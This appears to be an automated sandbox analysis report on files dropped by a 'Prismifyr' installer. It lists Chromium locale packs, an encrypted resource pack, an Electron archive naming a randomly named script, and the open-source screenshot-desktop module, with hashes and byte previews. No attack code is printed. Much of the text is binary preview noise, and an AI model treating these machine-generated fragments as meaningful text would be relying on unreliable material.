Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	556810
Entropy (8bit):	5.3413166108939265
Encrypted:	false
SSDEEP:	12288:vslxH+kGrKJpdscpU5QmedqrCBfRdBFUQbQW47TxEaFqYJjNegarCgMje15Z1/hz:0lxHZKC15//B
MD5:	98DD12A836DF0E3967B8FCF44B18F8C4
SHA1:	4762B7F8E5FD1B92C6984B76D4E965C32389CC05
SHA-256:	C8F6CD8602059E6FD7A1289B9A268D4DDAA1C2ECDEF7A9D05EC4BDE9BFD9C444
SHA-512:	F2046FE9ECE161B6E39BF94C347E920ED3EAAC7D05846270ED847011E319CC61D0BA01C4E80B603EDD9E5AE4E3461029627A9A913A10180A311D373AD07520FC
Malicious:	false
Preview:	.........'..e.....h.....i.#...j./...k.>...l.I...n.Q...o.V...p.c...q.i...r.u...s.....t.....v.....w.....y.C...z.q...\|.....}.................................................$.....%.....&.....+.....=.....M.....a.....x.............................W...................................N.....d.................K....._.................4.....C.......................+.................,.....R...........P.................'.......................5.......................6.......................s...........L.....h.................:.....U.............................\.......................N ..... .....!.....!....o!.....!.....!....."....p".....".....#.....#....n#.....#.....#.....#....Z$.....$.....$.....$....s%.....%....$&....=&.....&.....&.....'....8'.....'.....'....+(....L(.....(.....)....H)....X).....)....4....}.....*.....+....P+....q+.....+.....+....2,....Z,....l,.....,....H-.....-.....-....2............/...../...../...../....@0....]0.....0....R1.....1.....1.....2....l2.....2.....2....:3.....3.....3

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\ta.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	1439472
Entropy (8bit):	4.048168870459246
Encrypted:	false
SSDEEP:	3072:cg2yHsU3/YSTDZkE0uJzZKGfd5k62sntRdRtm1vYpiMyf:nBHPL/eGLKGfd52sntRdRtm1vYpiMyf
MD5:	42EE2510D5A0ADAAF7159B1F5AC2F6AC
SHA1:	677A50F6371766400FD5D3C24F3CF4E5271C8FDA
SHA-256:	5F591D92C509269B7AF0501621499E01A411F1F306C014670B562D1E5341BBE3
SHA-512:	F2427A67B825263C469D85B99E9EE221C5DD8CD377C7276BF3408A2218DFAFD1DF1A75AE2F5A7A7E6220003159F55D8709D62301F662DF0DF2E64514FBA15D01
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.....l.....n.....o.....p.!...q.'...r.3...s.b...t.y...v.....w.....y.....z./...\|.V...}...............................................................................E.......................-.....c.................".........................................`...........&.....d.....e ....X!.....!.....!.....".....#....#$....K$.....%.....&.....'....r'.....(..............N+....o,.....-....%.....k....../.....0....w1.....1.....3....Q4....*5.....5.....7....<8....99.....9.....:....U;.....;.....;.....<.....=....'>....X>....@?.....@....v@.....@.....A.....B....qC.....C.....D.....E.....F....XF....FG....1H.....H.....H.....I.....J....3K....gK....aL....RM.....M.....M....ZO.....P.....Q.....Q.....R.....S....!T...._T....BU.....V....fV.....V.....W....uX....@Y.....Y.....Z.....[....G\.....\.....]....j^.....^....._....:`....>a.....a....!b.....c.....d.....e.....e.....g.....i....+k....ck.....l.....m.....n.....n....ap.....q....7r.....r.....s.....t.....t....Iu....{v.....w....Hx

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\te.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	1329927
Entropy (8bit):	4.304376870326233
Encrypted:	false
SSDEEP:	12288:bKQ11U7McKNq0yRcJ7FgnC8ybtKRT52bNcW3pk8W9fhBp3p1FZCnATitlF2iJk78:GQ11Ae50UHVj
MD5:	9177F1295B89C8F57F402CED3D8BC473
SHA1:	40B3EC3EE6F2FAC2C5A2F6771DC6E6C8F3BE9E68
SHA-256:	C04CEB579D0874AFFEB36787919937F195B5EC4D4ECD999F5A44BA1EF2DE5085
SHA-512:	84C797EC7BEC69F313F43FC72D299FCE47E7120D8A1A46FA804B2784A9EF975EEDC992D63CEA324FBA5688B1BA615B8C56E63EF72AD30B1FCCC415B622FE31C7
Malicious:	false
Preview:	.........'{.e.J...h.R...i.l...j.x...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.9...w.e...y.....z.....\|.....}.......;.....@.....H.....P.....X....._.....f.....m.....n.....o.....t.......................n...........'...........T.................2.................!...........F.................;.....v.....X...... ....T ..... .....!....h".....".....#....7$.....%....\|%.....%...._'.....(....U).....)..........+....u,.....,.....-..........y/...../....'1....S2....Q3.....3.....5....t6....T7.....7.....8....J9.....9.....9.....:.....;....,<....m<.....=....F>.....>.....>....C@....-A.....A.....B....EC.....D.....D.....D.....F.....F....NG.....G.....H....~I.....I....5J....[K..../L.....L.....L....HN....>O.....O.....P.....Q.....Q....)R....pR....;S.....S.....T....<T.....U.....U....xV.....V.....X.....Y.....Y....3Z....4[.....[....D\.....\.....].....^....3_....._.....`.....a....b....fb....8d.....e.....f....1g.....h.....i.....j.....j....Fl....3m.....m.....n.....o.....o....Op.....p.....q.....r.....s

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\th.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	1117461
Entropy (8bit):	4.3419217530445815
Encrypted:	false
SSDEEP:	12288:EDtO4bQ5N9LyZYAPTKznLCVsjU7ynaO1vuB5UzKdfL3fgj8uRU+wunRUdG4Lw+wz:Ece5hNC
MD5:	821E1C0CD7AC4CC96E047DF5F9B741D5
SHA1:	CDBE922B53E89C801ED6596392F852F14DBD5BE4
SHA-256:	2DA181190B745BB7D5F6CB296D86FF87CC6DCF66404E9D991D74434AB47E4BFF
SHA-512:	CD85F3A28C69D0C6D6A2D61EEAFB6B24AE991E0BA55CBC5ADDE966DE172111E77C6B11992D6E17C6CD1D1F2F138813CF74EBA41B60ED5B3A7A77DF9B789AB08F
Malicious:	false
Preview:	.........&~.e.D...h.L...i.T...j._...k.n...l.t...o.\|...p.....q.....r.....s.....t.....v.....w.B...y.i...z.....\|.....}...................%.....0.....8.....=.....E.....L.....S.....Z.....\.....a.......................H.....Y.....0.......................l.............................t.......................i...........\...........).....J...........f.............................'.................* ..... ..... .....!....^".....".....#.....#....r$.....$.....%.....%.....&.....&.....'....R(....A).....)....?*.....+.....+.....,....D,.....-.....-....+.....L....../...../.....0.....0.....0.....1....#2....M2.....3.....3....@4....d4....05.....5....Q6....x6....+7.....7.... 8....;8.....9.....9....1:....X:....r;....o<....3=....[=.....>.....>.....>.....?.....?....V@.....@.....@....tA.....A....[B.....B.....C....`D.....D....fE.....F....{F.....F.....F.....G....HH.....H.....H.....I....WJ.....J.....K.....L.....M.....M.....M.....O.....P.....P....0Q....#R.....R....TS.....S....:T.....T....-U....LU....UV.....W.....W

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\tr.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	567766
Entropy (8bit):	5.615123804510951
Encrypted:	false
SSDEEP:	12288:cBr+XqdY9flVXHzNs7DQqZFwbyt+545MI8JX:GjmVq+54538JX
MD5:	EF23040BF284AD019F7E85BF1A4B66D5
SHA1:	7D119FDA04B876AFF2B3C3DBB8DA6410FF1B0122
SHA-256:	25387C543BE8057F77D05FB6E19991F954B1D8FF47B369ED15CB23541AC8DF6C
SHA-512:	B5E7E4787F26B9E2EC0672709F2BC06D01075E4B5D298352FF79EDBA39E3BCE2EAE60C65A597B051ECB2F964B89061A8F409BB6A4CDBD3383B00D0AA5B81EBB2
Malicious:	false
Preview:	.........'_.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.1...v.f...w.....y.....z.....\|.....}.?.....h.....m.....u.....}...................................................................................o.................O.................$.......................].......................a.......................H.......................R...................................7.....T.................K.....\.................:.....J...........6.....y...................................H.......................H.......................E ..... ..... ..... ....E!.....!.....!.....!....X".....".....".....#....f#.....#.....#.....$....c$.....$.....$.....$....`%.....%.....%.....&.....&.....'....V'....o'.....'....5(....b(....~(.....(....()....J)....e).....).........G....Y.........0+....j+.....+.....+....9,....X,....h,.....,....,-....W-....l-.....-....@.................G/...../...._0....q0.....1....v1.....1.....1....s2.....2....-3....I3.....3.....4....=4....R4.....4....+5....d5

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\uk.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	975392
Entropy (8bit):	4.869006844107044
Encrypted:	false
SSDEEP:	12288:7MHxWlFx4gaqwmsSr+rhqdgZ0ZYd0IniML5iB3IjsHAf+rTjuuKLNiXErqXYjgX:7MHlY45kr9
MD5:	1DB1D8C2E71770619619D81310B33575
SHA1:	ECCA21ADDE149A552049E3EAFCE846A4050FD405
SHA-256:	368097DC4F8380A9AAC54BB6ED9022CB730C2B1446ED0C2993EDC77FCF5ADF7F
SHA-512:	C0AB5EBCEF2F7502C992DE2DE373918EE4D7BE64D7A4DF3837D0E48A4846582ED54B608D1EF4682DBE7793F5821DB551FCB5531189F00E83A10EB8EA5C4E807C
Malicious:	false
Preview:	........z'..e.z...h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.+...v.`...w.....y.....z.....\|.....}.9.....b.....g.....o.....w.................................................................=.....(...........~...........b...........h...........].............................,.................w...........^.........................................l.............................-.....i...... ..... .....!....;!.....!....z".....".....".....#....g$.....$.....%.....%.....&....>'....x'.....(....q(.....(.....(....b).....).........?.....*....>+....\|+.....+....N,.....,....L-....s-............................./.....0....X0....q0.....1.....1.....1.....1....t2.....2....B3....]3....V4....&5.....5.....5.....6.....7....G7....i7.....7....?8....h8.....8....;9.....9....Z:....u:....j;.....<.....<.....=.....=.....>....B>....o>.....?.....?.....?.....@.....@....cA.....A.....B.....C.....C....nD.....D....}E....AF.....F.....G.....G....JH.....H.....H....KI.....I.....J....$J.....J.....K.....L

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\ur.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	850951
Entropy (8bit):	5.15322498626967
Encrypted:	false
SSDEEP:	12288:cEYAPc7FC8PIARlaXd28NJry41cfP5k66EhTCkORvlpQYrlYVwadcJKwUku5co/u:cEDPSb55CPn
MD5:	12CADB58E2CF3D01FB9BF1E9632A7B85
SHA1:	C26507BF4BFD247AD51622314357A2F3CCF0F60C
SHA-256:	4ECF19C5A4EADD8909FF709803204CAC4607590572B3AE6E3CF23C20E5B7476C
SHA-512:	6266F68CCC1B73B3A3944A43615BA23BE266CD65F12A080D2331F609A182D8EEE2B0553719071FF7F111DC38B92A544BAC08F24EFC26068032C7FF89DA46D50D
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.-...l.8...n.@...o.E...p.R...q.X...r.d...s.....t.....v.....w.....y.2...z.`...\|.....}.........................................................................2.....L.....j...........f.............................-.......................S.......................Z.................w...........C.....d...........s.................p...........1.....^.....'...........$.....]........................ ..... ....X!.....!.....!....."....c#.....#.....$.....$.....%....C&....t&.....&....T'.....'.....'....7(.....(.....(.....)....}).....)....+....E.........f+.....+.....+....m,.....,....M-....k-.....-....v.................a/...../...."0....50.....0....@1.....1.....1....p2.....3.....3.....3....]4.....4.....5....I5.....5....6....W6.....6.....7.....7.....7.....7.....8....L9.....9.....9.....:.....:....1;....T;.....<.....<.....<.....=.....=....S>.....>.....?.....?.....@.....A....-A.....B.....B....9C....xC....CD.....D....@E....nE.....F....}F.....F.....F.....G....#H....{H

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\vi.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	673832
Entropy (8bit):	5.789004316339002
Encrypted:	false
SSDEEP:	12288:joKSvbq+c8ZoET9VwMNgFu088xY2GbfEj2Wx5a8hZ7cE8UO+mziKHrvacQ1h8:j0vW+c8JVDgo07xHss5a8T7RlO+wiKLp
MD5:	5238502D80387898467B5A6564D2E197
SHA1:	574AFDACA5F77F0470C218D0D945F76B38C0C192
SHA-256:	760436664A06F4C716991F45E17E00645738E8D1C46CD04A116DEA8D1DEDB5AA
SHA-512:	FEA65FF62F13CD42C425C5055813277B9A0565C515C5CA8DB4A4C8505B57F56A8DF52D8E201355FA33D65B7D243CF2E6B1796E81C2DAEEE027DFAFA7B86B6C55
Malicious:	false
Preview:	........n'..e.b...h.j...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.Q...w.}...y.....z.....\|.....}......S.....X.....`.....h.....p.....w.....~...........................................................S.................v...........K.....b.................................../.......................C.....i.....u...........K.................6.................2.......................2...........C.................3.............................?.................x .....!....u!.....!....."....s"....."....."....+#.....#.....#.....#....F$.....$.....$.....%.....%.....&....I&....`&.....&....6'....m'....~'.....'....H(....\|(.....(.....(....U).....).....).........z..........*....v+.....,....\|,.....,.....-.....-.....-.....-....Z.................c/...../.....0..../0.....0....l1.....1....#2.....2.....3....<3....^3.....3....[4.....4.....4....R5.....5.....6..../6.....6....w7.....7.....7.....8....]9.....9.....9....y:.....:.....;....0;.....;.....<....6<....J<.....<....\|=.....=.....=

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\zh-CN.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	485251
Entropy (8bit):	6.680383992214284
Encrypted:	false
SSDEEP:	6144:F+Fhet0dfPhgYzhJxs7+56PCXTH61pH59zb/4krv7HpulM:F+bemJPhpzh3L56PCXTHiH5Zr4krTT
MD5:	2FC83A1CFF581DAE87B348D407BA0EF9
SHA1:	98CD327CB51E8E3A6271B81ECEDD050ECFD50244
SHA-256:	245F45EBD9302FD62BA185D23AC9B31CBEECFC0E75B942C49AFF69314950B556
SHA-512:	74A211F52FBEC1AD3418BBF073E216951D6F48CC71355D9E48E73275A640D0217342B4FC56D0B815E07900305F960806F751BC1FB976DD1D69D73016F0262AE3
Malicious:	false
Preview:	........7'&.e.....h.....i.....j.....k.5...l.<...m.D...o.k...p.p...q.v...r.....s.....t.....v.....w.)...\|.P...}.........................................................................................../...........@......................._.......................f.......................o.......................n.......................9.....`.....m.................@.....Z...........5.....v.................D.....x......................S....._.................E.....W...........,.....j.....\|.................%.....?.............................N.......................+.......................3.............................k.......................I ....q ....} ..... ...."!....K!....W!.....!....="....~"....."....."....-#....M#....a#.....#.....$.....$....E$.....$.....$.... %....2%.....%.....%.....&....3&.....&.....&.....&.....&....O'.....'.....'.....'....O(.....(.....(.....(....k).....)....$....6..........+....:+....O+.....+.....+....%,....4,.....,.....,.....,.....,....R-.....-.....-.....-....N.

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\zh-TW.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	479821
Entropy (8bit):	6.689183400042816
Encrypted:	false
SSDEEP:	6144:/WIM+T9wPrTT5ti65JyF72/Yu/lVNt5YQznGhkUnKFieWTl:/WkT9wLfi5qNlVNt5YQzn19S
MD5:	074D612C1FC2F37EAD06E8C71CBDDAB4
SHA1:	DF25B1A209CAE6047373C720200C249D891DB32F
SHA-256:	825E00DD5BC5FB3C81EFF63F69089A0C7D3B4244E46A5006D0763D8BAB48F5B2
SHA-512:	1AA86CB089287B1A06617E717A0540CDB6B3C1C1A6FED6C10B0E5AD17AC9EDD7CAC017840EA0141042306EDF4120320536144F0BA3F41448771ACC2EE7505F47
Malicious:	false
Preview:	.........'U.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.#...t.:...v.o...w.....y.....z.....\|.....}.H.....q.....v.....~.................................................................L.......................h.......................T.......................P.......................8.............................^.......................<.....b.....\|...........9.....h.....}...........0.....^.....k.................<.....H.................C.....U...........-.....k.....}.......................1.....{.......................C.............................l.......................I.....r.....~...........2.....a.....m.................;.....D.................. ....! ..... ..... .....!....2!....~!.....!.....!.....!....D".....".....".....#....^#.....#.....#.....#....G$....x$.....$.....$....!%....5%....A%.....%.....%.....&.... &.....&.....&.....'.....'.....'.....(....Q(....`(.....(..../)....g)....\|).....)....2....[....g....................+....a+.....+.....+.....+....Q,.....,

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	5629760
Entropy (8bit):	7.9961542187986705
Encrypted:	true
SSDEEP:	98304:riNUsliLKTPeIoXG13dkfCG3KJSml2rwrxySNYtu397pE2RSvc:SUGiLKT1gG103KJSmQkrxOwkvc
MD5:	B4220B606112777AAA2F05581952C334
SHA1:	321DE8057EA88B971137819D658D46E5F8EC210C
SHA-256:	2EEDDA8CF79F4BD074D4F626EC29A9CE63DE24BC6834A272657830445C388470
SHA-512:	E29C049F0765CE4158DF535167E8392B0B6434E5068095BEC9040903217DC34E0BC2A54F95AE778EC46CB761F8C2BCC2ACAFFD9A4FFDF65C5E44927CF79F43DC
Malicious:	false
Preview:	............f.."..{.-..\|../..~..3.....F.....H..........X............................. .....?.....U...........8..........D.....D.....DE....DO....D.....D.....D~....Dt....D\|"...D.#..LE.#..ME#'..NE.(..WE.-..XE>7..YE.E.._E.f..`E.g..aE.h..cE i..dEjn..eE.t..fEnd..gE.N..hE.O...E.Q...E.b...E.d...E#h...E.j...E.p...E.v...E.....Ed....E.....E.....E.....E.....E:....Eb....E.....E.....E/....E.....E.....L....)LZ...L....+Lg...,L^...-L.!...Q.1...Q\|<...Q.D...Q.H...QfK...Q.V...Q)W...QZX...Q.Y...Q.....Q.....R.....Rd....dC....d$....d<....d.....dr....d5"...d.%...ds'..Pd.2..Qd.7..Rd.=..Sd.K..Td.N..UdWS..Vd.T..Wd.V..nd.W..od.Z..pd._..qdDj...d.q...d.z...d'....d.....d....de....d.....d....di....d.....d.....dP....d.....d.....f.....f<....f........................ .....V...........V.....G......"................)...../...........!.....h.....P.................$...C%...s*..../....1....>...EA....J....N....N.........g............6........B....N....;....t..................<...\.k...].....^...

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	75430490
Entropy (8bit):	6.189743555035015
Encrypted:	false
SSDEEP:	393216:Y8IhYGTbTzrRILjOc0yo0KGp4SlmeQYZ09kpkzANtP6ChuVk:Y8IlTzrRI/Wy4MO9kpkzANtP6ChuVk
MD5:	8294F41A837E9DE92B2445969D8A768C
SHA1:	0A685467806ABF1471D64197DE18D643734D3E8D
SHA-256:	9890C6063BD729C1C85A629DE6223689EB880B6AAD0CA44A23E2466640ECFF65
SHA-512:	850A390B6890C268DA8FB166865982F9D1C9BEDB084FC86367FA5032119D3B089F6EAB34F719101CEDD7428CC75293485C1DC4E575137D80D9C4E819285D5A75
Malicious:	false
Preview:	...............{"files":{"YBdaKzmzrqQQG3qe.js":{"size":5018905,"integrity":{"algorithm":"SHA256","hash":"c5c27d038a4c6d4cdf227ec00fda88d2e29f5ff7e0c076fcd7d66a86654908bf","blockSize":4194304,"blocks":["968c9c2c378540e5ae57a7904eb1eb546aef016113a6b1605a6388b4a5e63325","38f4a587edfef3223065c013775e7413b73f7f92b042cef5adb20085662f3edb"]},"offset":"0"},"package.json":{"size":667,"integrity":{"algorithm":"SHA256","hash":"c263ad98800b308d8f431667714e101307d635a26c86ab6e44fb172691207a53","blockSize":4194304,"blocks":["c263ad98800b308d8f431667714e101307d635a26c86ab6e44fb172691207a53"]},"offset":"5018905"},"node_modules":{"files":{"asynckit":{"files":{"LICENSE":{"size":1078,"integrity":{"algorithm":"SHA256","hash":"1953150d5d4b10c7542cee6f6e0c613b2682545233f069d75cfff1936386ce10","blockSize":4194304,"blocks":["1953150d5d4b10c7542cee6f6e0c613b2682545233f069d75cfff1936386ce10"]},"offset":"5829791"},"bench.js":{"size":1256,"integrity":{"algorithm":"SHA256","hash":"b6c4a058c4fd03900f3786ef216322d5

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\index.js

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.6764683698176395
Encrypted:	false
SSDEEP:	12:jUML/BcEMLcBcESKsML0Bc9jBSMglR3L3iBRW:bBNBRD8B2jBSMUR38W
MD5:	394A6022C9E7AA401B3C992C4B92EA94
SHA1:	CAE58C8959C078B24484148A0D09DA816D350699
SHA-256:	125C1A517628169F4E66E0E237D201BE226AFB5C704A684AEE5155DE69281685
SHA-512:	CBD75168E3054A8412EEC7FC1415AD1906D8A3228A16A486674909BEC0F3A8B177F02E4C9C3419598E13FB0676D87132E82EE1182549C69C6BCF59FB59AAF0CE
Malicious:	false
Preview:	'strict mode'..if (process.platform === 'linux') {. module.exports = require('./lib/linux').} else if (process.platform === 'darwin') {. module.exports = require('./lib/darwin').} else if (process.platform === 'win32') {. module.exports = require('./lib/win32').} else {. module.exports = function unSupported () {. return Promise.reject(new Error('Currently unsupported platform. Pull requests welcome!')). }.}.

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\darwin\index.js

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5878
Entropy (8bit):	4.766163417842046
Encrypted:	false
SSDEEP:	96:5+QUeOlMpnYW+6o9wGXxtwWMK6kZWiLMSnNjee+e9mO8q70VwJmyV5q+uMxKvWE:wQtdpL+9wWx2WKSxNjeb9O/70VwJmyVc
MD5:	BE6B78C29A2DEA28F09518A9735CBCFC
SHA1:	8663483EE07F4B018588104715309CADA602A9C8
SHA-256:	F84C2F6429051E0CF0D5D20AAEDADDF1B92807FED19509740D9857A90AE49DE9
SHA-512:	DA105344D0AFC548F7655A2107B35D6E305EFCC5D71A93862C342C071571AFBB7F651ECC08A7A950708FE3C1599C691BC31642D0FE826C774CF69B9350A5943A
Malicious:	false
Preview:	const exec = require('child_process').exec.const temp = require('temp').const fs = require('fs').const utils = require('../utils').const path = require('path')..const { unlinkP, readAndUnlinkP } = utils..function darwinSnapshot (options = {}) {. const performScreenCapture = displays => new Promise((resolve, reject) => {. // validate displayId. const totalDisplays = displays.length. if (totalDisplays === 0) {. return reject(new Error('No displays detected try dropping screen option')). }. const maxDisplayId = totalDisplays - 1. const displayId = options.screen \|\| 0. if (!Number.isInteger(displayId) \|\| displayId < 0 \|\| displayId > maxDisplayId) {. const validChoiceMsg = (maxDisplayId === 0) ? '(valid choice is 0 or drop screen option altogether)' : `(valid choice is an integer between 0 and ${maxDisplayId})`. return reject(new Error(`Invalid choice of displayId: ${displayId} ${validChoiceMsg}`)). }.. const format = options.format \|\| 'jpg'. le

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\linux\index.js

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5440
Entropy (8bit):	4.694700038490346
Encrypted:	false
SSDEEP:	96:9CLjAz83t+bInwLdA+0y32wLdA+e9wLdA+AuHk2D1L0qn+rm3QB/CP9l9ODIW:9CLjA7sedATyGedAhedA3090Lrm3Hl9c
MD5:	9EEF143BB254A49647C6F2785C227652
SHA1:	0BC4A7DD54EB59DF78C2B9ED5547129A5F6300A3
SHA-256:	99F5D0448DF25A2C105711DD8576481EC11A6DD2D900AC2CC5C3B489FEC3DEF6
SHA-512:	1DC9206FD8F94BAA0EC2CED9F36A8D7E5256B204BFE6FF7FFF41CCE4EC8B017348B55578D16ABB9F71191285B871ACA2AF7E9589787F4E0D2D99047D2C9820A0
Malicious:	false
Preview:	const exec = require('child_process').exec.const path = require('path').const defaultAll = require('../utils').defaultAll..const EXAMPLE_DISPLAYS_OUTPUT = `Screen 0: minimum 320 x 200, current 5760 x 1080, maximum 8192 x 8192.eDP-1 connected (normal left inverted right x axis y axis). 2560x1440 60.00 +. 1920x1440 60.00. 1856x1392 60.01. 1792x1344 60.01. 1920x1200 59.95. 1920x1080 59.93. 1600x1200 60.00. 1680x1050 59.95 59.88. 1600x1024 60.17. 1400x1050 59.98. 1280x1024 60.02. 1440x900 59.89. 1280x960 60.00. 1360x768 59.80 59.96. 1152x864 60.00. 1024x768 60.04 60.00. 960x720 60.00. 928x696 60.05. 896x672 60.01. 960x600 60.00. 960x540 59.99. 800x600 60.00 60.32 56.25. 840x525 60.01 59.88. 800x512 60.17. 700x525 59.98. 640x512 60.02. 720x450 59.89. 640x480 60.00 59.94. 680x384 59.80 59.96. 5

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\utils.js

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1076
Entropy (8bit):	4.329342498829439
Encrypted:	false
SSDEEP:	24:TIeCkk3i97CL3tZ9QIC6CiRmojxItKLCkY/4IwccDHnkEgxIkBIozW:TIeW0kpQGHnCtlbiHkxCkSozW
MD5:	46F2F241643026741F8E08DED147AAC9
SHA1:	44F7890B08FF2C596A381863A1B097BA4CE9B0D2
SHA-256:	857CF82F33D021558AAE989AE47FDAEF22CEEDE17EC7492C92FC8052253F3C75
SHA-512:	B04EA14AEBF6F3C6335AA38734C23E62640FDA6DA9180A98290EB495E422E32C4A882F074667A4CAB46873685216B76FD30C7122F150CC23AA228CCC58985573
Malicious:	false
Preview:	const fs = require('fs')..function unlinkP (path) {. return new Promise((resolve, reject) => {. fs.unlink(path, function (err) {. if (err) {. return reject(err). }. return resolve(). }). }).}..function readFileP (path) {. return new Promise((resolve, reject) => {. fs.readFile(path, function (err, img) {. if (err) {. return reject(err). }. resolve(img). }). }).}..function readAndUnlinkP (path) {. return new Promise((resolve, reject) => {. readFileP(path). .then((img) => {. unlinkP(path). .then(() => resolve(img)). .catch(reject). }). .catch(reject). }).}..function defaultAll (snapshot) {. return new Promise((resolve, reject) => {. snapshot.listDisplays(). .then((displays) => {. const snapsP = displays. .map(({ id }) => snapshot({ screen: id })). Promise.all(snapsP). .then(resolve). .catch(reject). }). .catch(reject). }).}..

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\app.manifest

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	4.888222365859566
Encrypted:	false
SSDEEP:	6:qRu9Td8oWRu9Tw3x4mUA+DrASbxjBAyAN0xxCG:O4iR44+DkGCyAW7
MD5:	8951565428AA6644F1505EDB592AB38F
SHA1:	9C4BEE78E7338F4F8B2C8B6C0E187F43CFE88BF2
SHA-256:	8814DB9E125D0C2B7489F8C7C3E95ADF41F992D4397ED718BDA8573CB8FB0E83
SHA-512:	7577BAD37B67BF13A0D7F9B8B7D6C077ECDFB81A5BEE94E06DC99E84CB20DB2D568F74D1BB2CEF906470B4F6859E00214BEACCA7D82E2B99126D27820BF3B8F5
Malicious:	false
Preview:	<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >. <asmv3:application>. <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">. <dpiAware>True/PM</dpiAware>. </asmv3:windowsSettings>. </asmv3:application>.</assembly>

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\index.js

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3366
Entropy (8bit):	5.030309627152668
Encrypted:	false
SSDEEP:	96:cGi28Qk4t83TRRSaRMPTTl7rvmEKsGLuSM:38stkIa6Pp71SM
MD5:	D226502C9BF2AE0A7F029BD7930BE88E
SHA1:	6BE773FB30C7693B338F7C911B253E4F430C2F9B
SHA-256:	77A3965315946A325DDCF0709D927BA72AA47F889976CBCCF567C76CC545159F
SHA-512:	93F3D885DAD1540B1F721894209CB7F164F0F6F92857D713438E0CE685FC5EE1FC94EB27296462CDEEDE49B30AF8BF089A1FC2A34F8577479645D556AAAC2F8E
Malicious:	false
